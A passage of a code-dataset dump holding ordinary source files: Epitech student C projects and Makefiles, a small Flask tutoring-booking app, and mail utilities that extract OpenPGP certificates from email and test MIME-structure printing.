"f6861a0b6e90ba7abea073c402dfd1ad64a3a17c", "content_id": "e66ce45b35f7b7b2b05a4b1f0c850619e0c1f5fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 868, "license_type": "no_license", "max_line_length": 79, "num_lines": 28, "path": "/tek1/Game/MUL_my_rpg_2019/src/quest/render.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** render\n*/\n\n#include \"rpg.h\"\n\nvoid render_quest(sfRenderWindow *win, quest_t *quest, dictionary_t **gamedata)\n{\n sfFont *font_title = load_font(\"title_font\",\n \"./assets/fonts/Ubuntu-C.ttf\", gamedata);\n sfFont *font_obj = load_font(\"textbox_font\",\n \"./assets/fonts/Ubuntu-R.ttf\", gamedata);\n sfText *title = load_text(font_title, \"quest_title\", sv2f(10, 10),\n gamedata);\n sfText *obj_txt = load_text(font_obj, \"quest_obj\", sv2f(10, 50),\n gamedata);\n objective_t *objective;\n\n if (!quest) return;\n objective = dict_get(quest->objectives, quest->objective);\n sfText_setString(title, quest->name);\n sfText_setString(obj_txt, objective->instruction);\n sfRenderWindow_drawText(win, title, NULL);\n sfRenderWindow_drawText(win, obj_txt, NULL);\n}" }, { "alpha_fraction": 0.3767535090446472, "alphanum_fraction": 0.41683366894721985, "avg_line_length": 13.285714149475098, "blob_id": "70448967a2fdc3b405715985a52b88f7c24c63e5", "content_id": "e8ace222841ecf998bdf715de9ba3ef75806ad4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 499, "license_type": "no_license", "max_line_length": 41, "num_lines": 35, "path": "/tek1/Piscine/CPool_finalstumper_2019/lib/my/my_getnbr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPool_evalexpr_2019\n** File description:\n** my_getnbr.c\n*/\n\nint\tmy_getnbr(char *str)\n{\n int\tnb;\n int\tisneg;\n int\ti;\n\n isneg = 1;\n nb = 0;\n i = 0;\n while (str[i] == '+' || str[i] == '-')\n {\n if (str[i] == '-')\n\tisneg = isneg * -1;\n i = i + 1;\n }\n while (str[i] != '\\0')\n {\n if (str[i] >= '0' && str[i] <= '9')\n\t{\n\t nb = nb * 10;\n\t nb = nb + str[i] - '0';\n\t i = i + 1;\n\t}\n else\n\treturn (nb * isneg);\n }\n return (nb * isneg);\n}" }, { "alpha_fraction": 0.49934640526771545, "alphanum_fraction": 0.5320261716842651, "avg_line_length": 20.885713577270508, "blob_id": "59a823077659130911a84a78a5a54fc9b62921f3", "content_id": "9dd1ab5084a8df12ee736f14f77a68453685c1e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 765, "license_type": "no_license", "max_line_length": 57, "num_lines": 35, "path": "/tek1/Advanced/PSU_42sh_2019/src/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_42sh_2019\n** File description:\n** main.c\n*/\n\n#include \"shell.h\"\n#include <unistd.h>\n\nint main(int argc, char **argv, char **envp)\n{\n dictionary_t *env = env_init(envp);\n dictionary_t *builtins = builtin_init();\n char *command_line;\n char buff[65536];\n int var = 1;\n\n UNUSED(argc);\n UNUSED(argv);\n if (isatty(0)) {\n while (var == 1) {\n display_prompt(env);\n command_line = get_command_line();\n if (!command_line)\n break;\n write_to_his(argc, argv, &env, command_line);\n parse_input(command_line, &env, builtins);\n }\n } else {\n read(0, &buff, 65536);\n parse_input(buff, &env, builtins);\n }\n return 0;\n}" }, { "alpha_fraction": 0.4107365906238556, "alphanum_fraction": 0.48689138889312744, "avg_line_length": 19.024999618530273, "blob_id": "26f804585c072b4ff1e4fd8a7fb4402acd41efbd", "content_id": "0507cf481f0a17abf609f7a71486104d21595e52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 801, "license_type": "no_license", "max_line_length": 90, "num_lines": 40, "path": "/tek1/AI/AIA_n4s_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## makefile\n## File description:\n## my_sokoban compile\n##\n\nSRC\t\t=\tsrc/ia.c \\\n\t\t\tsrc/get_next_line.c \\\n\t\t\tsrc/utils.c\t\\\n\t\t\tsrc/command.c\t\\\n\t\t\tsrc/my_strtotab.c \\\n\t\t\tsrc/car.c\n\nLIB_MAKE\t=\tlib/my\n\nOBJ\t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\tai\n\nCFLAGS\t\t+=\t-W -Wall -Wextra -pedantic\nCFLAGS\t\t+= -I./includes\n\nall:\t\t$(NAME)\n\n$(NAME): $(OBJ)\n\t\t@echo -e \"\\033[01m\\033[31m----------------- Building ...---------------\\033[00m\"\n\t\tgcc -o $(NAME) $(OBJ) $(CFLAGS)\n\t\t@echo -e \"\\033[32;01m[-------------------Succes-------------------\\033[00m\"\n\n\nclean:\n\t\trm -f $(NAME)\n\t\t@echo -e \"\\033[01m\\033[31m-----------------Cleaning all objects---------------\\033[00m\"\n\nfclean:\t\tclean\n\t\t\trm -f $(OBJ)\n\t\t\t@echo -e \"\\033[01m\\033[31m--------------------Binary clean--------------------\\033[00m\"\n\nre:\t\tfclean all\n" }, { "alpha_fraction": 0.5756971836090088, "alphanum_fraction": 0.5836653113365173, "avg_line_length": 12.567567825317383, "blob_id": "2c258bad327c64fbee5c7dcc0cc5b73e569a0fc5", "content_id": "cc1c796f145579d1c0664ccbc8d308a05648935c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 502, "license_type": "no_license", "max_line_length": 37, "num_lines": 37, "path": "/tek1/QuickTest/SYN_palindrome_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## makefile\n## File description:\n## my_sokoban compile\n##\n\nSRC\t\t=\tmain.c\t\\\n\t\t\trequirement.c\t\\\n\t\t\tsrc/utils.c\t\\\n\t\t\tsrc/help.c\t\\\n\t\t\tsrc/my_getnbr.c\t\\\n\t\t\tsrc/palindrome.c\t\\\n\t\t\tsrc/infinadd.c\t\\\n\t\t\tsrc/option.c\t\\\n\t\t\tsrc/palindromic.c\t\\\n\t\t\tsrc/error.c\n\nLIB_MAKE\t=\tlib/my\n\nOBJ\t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\tpalindrome\n\nCFLAGS\t\t+=\t-W -Wall -Wextra -pedantic\n\nall:\t\t$(NAME)\n\n$(NAME):\t$(OBJ)\n\tgcc -o $(NAME) $(OBJ) $(CFLAGS)\n\nclean:\n\t\trm -f $(OBJ) $(NAME)\n\nfclean:\t\tclean\n\nre:\t\tfclean all\n" }, { "alpha_fraction": 0.6678832173347473, "alphanum_fraction": 0.6824817657470703, "avg_line_length": 18.571428298950195, "blob_id": "d57c012912a49f8d6da74939c9c46a969c54b2da", "content_id": "6f9369aa8660812508fd657e218a854831bc61f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 274, "license_type": "no_license", "max_line_length": 58, "num_lines": 14, "path": "/tek1/Piscine/CPool_Day06_2019/tests/test_my_revstr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** test_my_revstr\n** File description:\n** test for my_revstr\n*/\n#include <criterion/criterion.h>\n\nchar *my_revstr(char *str);\n\nTest(my_revstr, reverse_five_characters_in_empty_array)\n{\n cr_assert_str_eq(my_revstr(strdup(\"Hello\")), \"olleH\");\n}\n" }, { "alpha_fraction": 0.6540880799293518, "alphanum_fraction": 0.6645702123641968, "avg_line_length": 19.782608032226562, "blob_id": "9a3aa19340ec865273498831d04c82fca43df8c2", "content_id": "eb684e1cab9824ec1a360aa48ac4d161a1c99249", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 477, "license_type": "no_license", "max_line_length": 66, "num_lines": 23, "path": "/tek1/Game/MUL_my_defender_2019/lib/game/my_create_sprite_from_file.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** create_sprite_from_file\n** File description:\n** create_sprite_from_file\n*/\n\n#include \"game.h\"\n\nsfSprite *create_sprite_from_file(char *filename, sfTexture **tex,\n sfIntRect *rect)\n{\n sfTexture *texture;\n sfSprite *sprite;\n\n texture = sfTexture_createFromFile(filename, rect);\n if (!texture)\n return 0;\n sprite = sfSprite_create();\n sfSprite_setTexture(sprite, texture, sfTrue);\n *tex = texture;\n return sprite;\n}" }, { "alpha_fraction": 0.4736842215061188, "alphanum_fraction": 0.5263158082962036, "avg_line_length": 12.722222328186035, "blob_id": "cd557ca3f566017e8c839bac1806fef923232077", "content_id": "c57f253be40ebda1a7e232d675a330d7d97930f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 247, "license_type": "no_license", "max_line_length": 32, "num_lines": 18, "path": "/tek1/Piscine/CPool_Day03_2019/my_print_revalpha.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_print_revalpha\n** File description:\n** \n*/\n\nint my_print_revalpha(void)\n{\n int i;\n char letters2;\n\n for (i = 122; i > 96; i--) {\n letters2 = i;\n my_putchar(letters2);\n }\n return(0);\n}\n" }, { "alpha_fraction": 0.6382978558540344, "alphanum_fraction": 0.652482271194458, "avg_line_length": 11.909090995788574, "blob_id": "a2c67ab81a93f2c9acf96ac8b6b461a6e7a520e3", "content_id": "49664bf4945070ea803aa11da6bd69f7a885a413", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 141, "license_type": "no_license", "max_line_length": 30, "num_lines": 11, "path": "/tek1/Functionnal/CPE_getnextline_2019/get_next_line.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#ifndef __GET_NEXT_LINE__\n#define __GET_NEXT_LINE__\n#define READ_SIZE (10)\n\ntypedef struct get_next_line_s\n{\n int m;\n} getline_t;\n\n\n#endif" }, { "alpha_fraction": 0.5388169884681702, "alphanum_fraction": 0.5711644887924194, "avg_line_length": 27.5, "blob_id": "5cdcffc095c2e379d8f6725502f365b43ff488b9", "content_id": "7e0d2f1a105279f60bb7ae1fdec94551446498ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1082, "license_type": "no_license", "max_line_length": 88, "num_lines": 38, "path": "/tek1/Mathématique/108trigo_2019/arguments.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 108trigo_2019\n## File description:\n## arguments.py\n##\n\nimport sys\nimport math\nfrom utils import *\n\ndef addingmatrix(sqi, matrix):\n for i in range(int(sqi)):\n matrix.append([])\n for j in range(int(sqi)):\n matrix[i].append(sys.argv[i * int(sqi) + j + 2])\n return matrix\n\ndef check_arg():\n if \"-h\" in sys.argv or \"--help\" in sys.argv:\n printhelp()\n if len(sys.argv) <= 2 or sys.argv[1] not in [\"EXP\", \"COS\", \"SIN\", \"COSH\", \"SINH\"]:\n print(\"Missing arguments.\\nUsage: ./108trigo fun a0 a1 a2 ...\", file=sys.stderr)\n exit(84)\n try:\n for i in range(2, len(sys.argv)):\n sys.argv[i] = float(sys.argv[i])\n except ValueError:\n print(\"Argument %d (%s) isn't a number\" % (i, sys.argv[i]), file=sys.sys.stderr)\n exit(84)\n\ndef error_handling():\n i = len(sys.argv) - 2\n sqi = math.trunc(math.sqrt(i))\n if math.trunc(math.sqrt(i)) ** 2 != i:\n print(\"Missing arguments.\\nUsage: ./108trigo fun a0 a1 a2 ...\", file=sys.stderr)\n exit(84)\n return sqi" }, { "alpha_fraction": 0.4871794879436493, "alphanum_fraction": 0.6153846383094788, "avg_line_length": 11.833333015441895, "blob_id": "af1eea99cca83e78ef21fa5e399289d097484a21", "content_id": "795862d3a2878ea87a7f6f6772450627a0deb8a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 78, "license_type": "no_license", "max_line_length": 24, "num_lines": 6, "path": "/tek1/Advanced/PSU_42sh_2019/src/core/pipe.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** PSU_42sh_2019\n** File description:\n** pipe\n*/\n\n" }, { "alpha_fraction": 0.5540334582328796, "alphanum_fraction": 0.5616438388824463, "avg_line_length": 17.799999237060547, "blob_id": "ebc2e7b95ed25d0bf51d3c67f8ce54a33fcd50c1", "content_id": "e66da6c8365a6f8a48cc2c6752d0c2a183865b84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 657, "license_type": "no_license", "max_line_length": 59, "num_lines": 35, "path": "/tek1/Advanced/PSU_42sh_2019/lib/linked/dict/dict_get.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** dict_get\n*/\n\n#include \"tools.h\"\n#include \"linked.h\"\n\nvoid *dict_get(dictionary_t *dict, char *index)\n{\n dictionary_t *iterator = dict;\n\n while (iterator) {\n if (!my_strcmp(iterator->index, index)) {\n return iterator->data;\n }\n iterator = iterator->next;\n }\n return 0;\n}\n\nvoid dict_set(dictionary_t *dict, char *index, void *value)\n{\n dictionary_t *iterator = dict;\n\n while (iterator) {\n if (!my_strcmp(iterator->index, index)) {\n iterator->data = value;\n return;\n }\n iterator = iterator->next;\n }\n}" }, { "alpha_fraction": 0.5978835821151733, "alphanum_fraction": 0.6074073910713196, "avg_line_length": 15.892857551574707, "blob_id": "dc6d809a38b12c9b76170e30019e47d077e90e03", "content_id": "83a983f8e673109f178b3f8d223714d4ff960702", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 945, "license_type": "no_license", "max_line_length": 49, "num_lines": 56, "path": "/tek1/Game/MUL_my_defender_2019/src/dialogue/free.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** free\n*/\n\n#include \"rpg.h\"\n#include <stdlib.h>\n\nvoid reward_free(void *p)\n{\n reward_t *reward = p;\n\n if (reward->item)\n free(reward->item);\n free(reward->type);\n free(reward);\n}\n\nvoid dialogue_choice_free(void *p)\n{\n dialogue_choice_t *choice = p;\n\n free(choice->go_to);\n free(choice->text);\n free(choice);\n}\n\nvoid dialogue_line_free(void *p)\n{\n dialogue_line_t *line = p;\n\n free(line->name);\n free(line->text);\n ll_free(line->choices, dialogue_choice_free);\n free(line);\n}\n\nvoid dialogue_part_free(void *p)\n{\n dialogue_part_t *part = p;\n\n ll_free(part->quests, free);\n ll_free(part->lines, dialogue_line_free);\n ll_free(part->rewards, reward_free);\n free(part);\n}\n\nvoid dialogue_free(dialogue_t *d)\n{\n free(d->default_part);\n free(d->progress);\n dict_free(d->parts, 1, dialogue_part_free);\n free(d);\n}" }, { "alpha_fraction": 0.5661764740943909, "alphanum_fraction": 0.5823529362678528, "avg_line_length": 18.457143783569336, "blob_id": "fe449a284e7b99bff3f72aba72569569d97048c6", "content_id": "4a75781040a9560527f441255b7c462c3aa8d6a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 680, "license_type": "no_license", "max_line_length": 55, "num_lines": 35, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/open_file.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Bootstrap_BSQ\n** File description:\n** open file by clement Fleur\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/stat.h>\n#include <sys/types.h>\n#include <fcntl.h>\n#include \"my.h\"\n#include \"struct.h\"\n\nint open_file(char *str)\n{\n int fd;\n int len;\n int size;\n struct stat byte;\n\n fd = open(str, O_RDONLY);\n stat(str, &byte);\n if (byte.st_size == 0) {\n my_putstr(\"error\");\n return 84;\n }\n str = malloc(sizeof(char) * (byte.st_size + 1));\n size = read(fd, str, byte.st_size);\n str[byte.st_size - 1] = 0; // ajoute \\0 fin de read\n my_strtodouble(str, byte.st_size);\n close(fd);\n}" }, { "alpha_fraction": 0.5647773146629333, "alphanum_fraction": 0.5850202441215515, "avg_line_length": 18.760000228881836, "blob_id": "c3ee9bc59a3272a3aab37e98aed8c5e74b28f321", "content_id": "0e6a0139ffe174dac3d9965e139d565ceb5306e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 494, "license_type": "no_license", "max_line_length": 75, "num_lines": 25, "path": "/tek1/Functionnal/CPE_corewar_2019/corewar/src/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** folder\n** File description:\n** main.c\n*/\n\n#include \"my.h\"\n\nint help(void)\n{\n my_putstr(\"USAGE\\n\");\n my_putstr(\"./asm file_name[.s]\\n\");\n my_putstr(\"DESCRIPTION:\\n\");\n my_putstr(\"file_name file in assembly language to be converted into \");\n my_putstr(\"file_name.cor, an\\nexecutable in the Virtual Machine\");\n return 84;\n}\n\nint main(int ac, char **av, char **envp)\n{\n if (ac == 2 && my_strcmp(av[1], \"-h\") == 0)\n help();\n return 0;\n}\n" }, { "alpha_fraction": 0.5809018611907959, "alphanum_fraction": 0.6180371642112732, "avg_line_length": 14.079999923706055, "blob_id": "49cb7ac8ca46f2d7d6a1295c688ecc3ca5d524f0", "content_id": "58382fd796e6c13d13f1e08600dec3529b69beb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 377, "license_type": "no_license", "max_line_length": 34, "num_lines": 25, "path": "/tek1/AI/AIA_n4s_2019/includes/gnl.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** AIA_n4s_2019\n** File description:\n** gnl.h\n*/\n\n#ifndef\t\tGET_NEXT_LINE_H_\n# define\tGET_NEXT_LINE_H_\n#include <stdlib.h>\n#include <stdio.h>\n\n#define SIZE_MALLOC (4096)\n\ntypedef struct s_vars {\n int value;\n char *line;\n int id;\n int\tid_line;\n char buf[1];\n} t_vars;\n\nchar *get_next_line(const int fd);\n\n#endif /* !GET_NEXT_LINE_H_ */\n" } ]
350
naaany812/tiny_steps
https://github.com/naaany812/tiny_steps
74b7a89b581a61fcfec6d6e3e4dc965bcb467953
fd23cf48c46e8773e6afc69dfb6b430be3206240
ead11479a27b1d215de02c3ea64054246a6851ec
refs/heads/master
2022-12-12T22:28:45.897176
2020-02-08T13:40:19
2020-02-08T13:40:19
237,839,305
0
0
null
2020-02-02T21:26:39
2020-02-08T13:40:31
2021-06-02T00:59:43
HTML
[ { "alpha_fraction": 0.6200941801071167, "alphanum_fraction": 0.6212716102600098, "avg_line_length": 25.54166603088379, "blob_id": "60de10d500fec25841ddb709a622801a8454f92d", "content_id": "28a6bd3d668f5af18a765bc5c09e20892ea5a467", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2548, "license_type": "no_license", "max_line_length": 78, "num_lines": 96, "path": "/app.py", "repo_name": "naaany812/tiny_steps", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request\nimport json\nfrom random import sample\n\napp = Flask(__name__)\n\n\ndef loads_json(path):\n with open(path, \"r\", encoding=\"utf8\") as f:\n content = f.read()\n return json.loads(content)\n\n\ndef dumps_json(path, form):\n with open(path, \"a+\", encoding=\"utf8\") as f:\n dumped_data = json.dumps(form)\n f.write(\",\\n\")\n f.write(dumped_data)\n\n\ngoals_mock = loads_json(r\"./data/goals.json\")\nteachers = loads_json(r\"./data/teachers.json\").get(\"teachers\")\ndays = loads_json(r\"./data/days.json\")\n\n\[email protected](\"/\")\ndef main():\n random_teachers = sample(teachers, k=6)\n return render_template(\"index.html\", teachers=random_teachers)\n\n\[email protected](\"/goals/<goal>/\")\ndef goals(goal):\n goal_value = goals_mock.get(goal)\n needed_teachers = list()\n t_params = [\"id\", \"name\", \"about\", \"rating\", \"picture\", \"price\", \"goals\"]\n for teacher in teachers:\n if goal in teacher.get(\"goals\"):\n temp_teacher = dict()\n for t_id in t_params:\n temp_teacher[t_id] = teacher[t_id]\n needed_teachers.append(temp_teacher)\n return render_template(\n \"goal.html\",\n goal_value=goal_value,\n teachers=needed_teachers)\n\n\[email protected](\"/profiles/<int:teacher_id>/\")\ndef profile(teacher_id):\n teacher = teachers[teacher_id]\n timesheet = teacher[\"free\"]\n teacher_goals = \", \".join(goals_mock.get(g) for g in teacher.get(\"goals\"))\n return render_template(\n \"profile.html\",\n teacher=teacher,\n goals=teacher_goals,\n timesheet=timesheet)\n\n\[email protected](\"/request/\")\ndef send_request():\n return render_template(\"request.html\")\n\n\[email protected](\"/request_done/\", methods=[\"POST\"])\ndef request_done():\n request_form = request.form\n goal = goals_mock.get(request_form.get(\"goal\"))\n dumps_json(r\"./data/request.json\", request_form)\n return render_template(\n \"request_done.html\",\n request=request_form,\n goal=goal)\n\n\[email protected](\"/booking/<int:teacher_id>/<day>/<time>/\")\ndef booking(teacher_id, day, time):\n teacher = teachers[teacher_id]\n selected_day = days.get(day)\n return render_template(\n \"booking.html\",\n teacher=teacher,\n day=selected_day,\n time=time)\n\n\[email protected](\"/booking_done/\", methods=[\"POST\"])\ndef booking_done():\n booking_info = request.form\n dumps_json(r\"./data/booking.json\", booking_info)\n return render_template(\"booking_done.html\", info=booking_info)\n\n\nif __name__ == '__main__':\n app.run()\n" } ]
1
spwhitton/mailscripts
https://github.com/spwhitton/mailscripts
3168ca0ff161b427740421eb5a2247d54d1d5052
3f69d1912f91c6b1b51381de51f9a79f43f908ad
418a3aa7aebaa32efee5783326c0b9e630395fb9
refs/heads/master
2023-01-11T18:04:12.650052
2022-12-24T19:09:39
2022-12-24T19:09:39
224,783,176
5
1
null
2019-11-29T05:32:52
2020-03-19T20:32:36
2020-03-19T20:32:33
Python
[ { "alpha_fraction": 0.6300375461578369, "alphanum_fraction": 0.6483103632926941, "avg_line_length": 34.043861389160156, "blob_id": "03cb6c798f66925b169347e2c01f26364db8cfb9", "content_id": "03b775350742e3595b2ed66e25cddc5f377f2466", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3995, "license_type": "no_license", "max_line_length": 82, "num_lines": 114, "path": "/email-extract-openpgp-certs", "repo_name": "spwhitton/mailscripts", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\n# Copyright (C) 2019 Daniel Kahn Gillmor\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n'''Extract all OpenPGP certificates from an e-mail message\n\nThis is a simple script that is designed to take an e-mail\n(rfc822/message) on standard input, and produces a series of\nASCII-armored OpenPGP certificates on standard output.\n\nIt currently tries to find OpenPGP certificates based on MIME types of\nattachments (application/pgp-keys), and by pulling out anything that\nlooks like an Autocrypt: or Autocrypt-Gossip: header (see\nhttps://autocrypt.org).\n\n'''\n\nimport email\nimport sys\nimport base64\nimport binascii\nimport codecs\nfrom typing import Optional, Generator\n\n# parse email from stdin\nmessage = email.message_from_binary_file(sys.stdin.buffer)\n\ndef openpgp_ascii_armor_checksum(data: bytes) -> bytearray:\n '''OpenPGP ASCII-armor checksum\n\n(see https://tools.ietf.org/html/rfc4880#section-6.1)'''\n\n init = 0xB704CE\n poly = 0x1864CFB\n crc = init\n for b in data:\n crc ^= b << 16\n for i in range(8):\n crc <<= 1\n if crc & 0x1000000:\n crc ^= poly\n val = crc & 0xFFFFFF\n out = bytearray(3)\n out[0] = (val >> 16) & 0xFF\n out[1] = (val >> 8) & 0xFF\n out[2] = val & 0xFF\n return out\n\ndef enarmor_certificate(data: bytes) -> str:\n '''OpenPGP ASCII-armor\n\n(see https://tools.ietf.org/html/rfc4880#section-6.2)'''\n\n cksum = openpgp_ascii_armor_checksum(data)\n key = codecs.decode(base64.b64encode(data), 'ascii')\n linelen = 64\n key = '\\n'.join([key[i:i+linelen] for i in range(0, len(key), linelen)])\n return '-----BEGIN PGP PUBLIC KEY BLOCK-----\\n\\n' +\\\n key + \\\n '\\n=' + codecs.decode(base64.b64encode(cksum), 'ascii') +\\\n '\\n-----END PGP PUBLIC KEY BLOCK-----\\n'\n\ndef get_autocrypt_keys(m: email.message.Message) -> Generator[str, None, None]:\n '''Extract all Autocrypt headers from message\n\nNote that we ignore the addr= property.\n'''\n hdrs = m.get_all('Autocrypt')\n if hdrs is None: # the email.get_all() api is kindn of sad.\n hdrs = []\n ghdrs = m.get_all('Autocrypt-Gossip')\n if ghdrs is None: # the email.get_all() api is kindn of sad.\n ghdrs = []\n for ac in hdrs + ghdrs:\n # parse the base64 part\n try:\n keydata = str(ac).split('keydata=')[1].strip()\n keydata = keydata.replace(' ', '').replace('\\t', '')\n keydatabin = base64.b64decode(keydata)\n yield enarmor_certificate(keydatabin)\n except (binascii.Error, IndexError) as e:\n print(\"failure to parse Autocrypt header: %s\" % e,\n file=sys.stderr)\n\ndef extract_attached_keys(m: email.message.Message) -> Generator[str, None, None]:\n for part in m.walk():\n if part.get_content_type() == 'application/pgp-keys':\n p = part.get_payload(decode=True)\n if not isinstance(p, bytes):\n raise TypeError('Expected part payload to be bytes')\n if p.startswith(b'-----BEGIN PGP PUBLIC KEY BLOCK-----\\n'):\n yield codecs.decode(p, 'ascii')\n else: # this is probably binary-encoded, let's pretend that it is!\n yield enarmor_certificate(p)\n\n# FIXME: should we try to decrypt encrypted messages as well?\n\nfor a in get_autocrypt_keys(message):\n print(a, end='')\nfor a in extract_attached_keys(message):\n print(a, end='')\n" }, { "alpha_fraction": 0.5362318754196167, "alphanum_fraction": 0.5485507249832153, "avg_line_length": 33.5, "blob_id": "b6f21fc8d3df9d4346a84e1c0624fc17660bc11f", "content_id": "dd14e44ca29bd8bb9b87c7d18f9e3197201f3c8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1380, "license_type": "no_license", "max_line_length": 142, "num_lines": 40, "path": "/tests/email-print-mime-structure.sh", "repo_name": "spwhitton/mailscripts", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nset -e\n\ntest_eml() {\n message=\"$1\"\n shift\n diff -u \"$message.out\" <(./email-print-mime-structure \"$@\" <\"$message.eml\")\n}\n\nfor eml in tests/email-print-mime-structure/*.eml; do\n base=\"${eml%%.eml}\"\n pgpkey=\"$base.pgpkey\"\n p12key=\"$base.p12\"\n if [ -e \"$pgpkey\" ]; then\n printf \"Testing %s (PGPy)\\n\" \"${eml##*/}\"\n test_eml \"$base\" --pgpkey \"$pgpkey\"\n\n testgpghome=$(mktemp -d)\n printf \"Testing %s (GnuPG PGP/MIME)\\n\" \"${eml##*/}\"\n gpg --homedir=\"$testgpghome\" --batch --quiet --import <\"$pgpkey\"\n GNUPGHOME=\"$testgpghome\" test_eml \"$base\" --use-gpg-agent\n rm -rf \"$testgpghome\"\n elif [ -e \"$p12key\" ]; then\n printf \"Testing %s (OpenSSL)\\n\" \"${eml##*/}\"\n grep -v ^- < \"$p12key\" | base64 -d | \\\n openssl pkcs12 -nocerts -nodes -passin pass: -passout pass: -out \"$base.pemkey\"\n test_eml \"$base\" --cmskey \"$base.pemkey\"\n rm -f \"$base.pemkey\"\n\n testgpghome=$(mktemp -d)\n printf \"Testing %s (GnuPG S/MIME)\\n\" \"${eml##*/}\"\n gpgsm --disable-dirmngr --pinentry-mode=loopback --passphrase-fd 4 4<<<'' --homedir=\"$testgpghome\" --batch --quiet --import <\"$p12key\"\n GNUPGHOME=\"$testgpghome\" test_eml \"$base\" --use-gpg-agent\n rm -rf \"$testgpghome\"\n else\n printf \"Testing %s\\n\" \"${eml##*/}\"\n test_eml \"$base\"\n fi\ndone\n" }, { "alpha_fraction": 0.6100144386291504, "alphanum_fraction": 0.6225324869155884, "avg_line_length": 28.671428680419922, "blob_id": "08dd5b94fe44500dd0726b7adda3e33cc7965210", "content_id": "78a9222196a03127e60a2a3ef86bdb62f75837fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2077, "license_type": "no_license", "max_line_length": 91, "num_lines": 70, "path": "/mdmv", "repo_name": "spwhitton/mailscripts", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\n# mdmv -- safely move messages between maildirs\n\n# Copyright (C) 2017-2018 Sean Whitton\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport os\nimport sys\nimport time\nimport shutil\nimport socket\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\nus = 